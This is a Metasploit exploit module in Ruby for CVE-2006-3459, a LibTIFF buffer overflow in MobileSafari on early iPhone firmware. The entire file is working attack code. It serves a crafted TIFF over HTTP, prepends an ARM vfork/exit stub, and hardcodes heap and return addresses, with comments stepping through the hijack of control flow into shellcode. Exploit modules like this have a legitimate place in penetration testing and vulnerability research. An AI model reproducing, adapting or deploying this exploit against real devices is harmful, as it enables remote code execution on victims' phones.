Apple iOS Mobile Safari - LibTIFF Buffer Overflow (Metasploit)

##
# $Id: safari_libtiff.rb 15950 2012-10-09 18:31:08Z rapid7 $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the version of
				libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
				1.1.1 of the Apple iPhone. iPhones which have not had the BSD
				tools installed will need to use a special payload.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>  ['hdm', 'kf'],
			'Version'        => '$Revision: 15950 $',
			'References'     =>
				[
					['CVE', '2006-3459'],
					['OSVDB', '27723'],
					['BID', '19283']
				],
			'Payload'        =>
				{
					'Space'    => 1800,
					'BadChars' => "",

					# Multi-threaded applications are not allowed to execve() on OS X
					# This stub injects a vfork/exit in front of the payload
					'Prepend'  =>
						[
							0xe3a0c042, # vfork
							0xef000080, # sc
							0xe3500000, # cmp r0, #0
							0x1a000001, # bne
							0xe3a0c001, # exit(0)
							0xef000080  # sc
						].pack("V*")
				},
			'Arch'           => ARCH_ARMLE,
			'Targets'        =>
				[

					[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
						{
							'Platform' => 'osx',

							# Scratch space for our shellcode and stack
							'Heap'     => 0x00802000,

							# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
							'Magic'    => 0x300d562c,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 01 2006'
			))
	end

	def on_request_uri(cli, req)


		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Grab reference to the target
		t = target

		print_status("Sending exploit")

		# Transmit the compressed response to the client
		send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })

		# Handle the payload
		handler(cli)
	end

	def generate_tiff(code, targ)

		#
		# This is a TIFF file, we have a huge range of evasion
		# capabilities, but for now, we don't use them.
		#  - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
		#

		lolz = 2048
		tiff =
			"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
			"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
			"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
			"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
			"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
			"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
			"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
			"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
			[lolz].pack("V") +
			"\x84\x00\x00\x00\x00\x00\x00\x00"

		# Randomize the bajeezus out of our data
		hehe = rand_text(lolz)

		# Were going to candy mountain!
		hehe[120, 4] = [targ['Magic']].pack("V")

		# >> add r0, r4, #0x30
		hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")

		# Candy mountain, Charlie!
		# >> mov r1, sp

		# It will be an adventure!
		# >> mov r2, r8
		hehe[ 92, 4] = [ hehe.length ].pack("V")

		# Its a magic leoplurodon!
		# It has spoken!
		# It has shown us the way!
		# >> bl _memcpy

		# Its just over this bridge, Charlie!
		# This magical bridge!
		# >> ldr r3, [r4, #32]
		# >> ldrt r3, [pc], r3, lsr #30
		# >> str r3, [r4, #32]
		# >> ldr r3, [r4, #36]
		# >> ldrt r3, [pc], r3, lsr #30
		# >> str r3, [r4, #36]
		# >> ldr r3, [r4, #40]
		# >> ldrt r3, [pc], r3, lsr #30
		# >> str r3, [r4, #40]
		# >> ldr r3, [r4, #44]
		# >> ldrt r3, [pc], r3, lsr #30
		# >> str r3, [r4, #44]

		# We made it to candy mountain!
		# Go inside Charlie!
		# sub sp, r7, #0x14
		hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")

		# Goodbye Charlie!
		# ;; targ['Heap'] + 0x48 becomes the stack pointer
		# >> ldmia sp!, {r8, r10}

		# Hey, what the...!
		# >> ldmia sp!, {r4, r5, r6, r7, pc}

		# Return back to the copied heap data
		hehe[192, 4] = [  targ['Heap'] + 196  ].pack("V")

		# Insert our actual shellcode at heap location + 196
		hehe[196, payload.encoded.length] = payload.encoded

		tiff << hehe
	end

end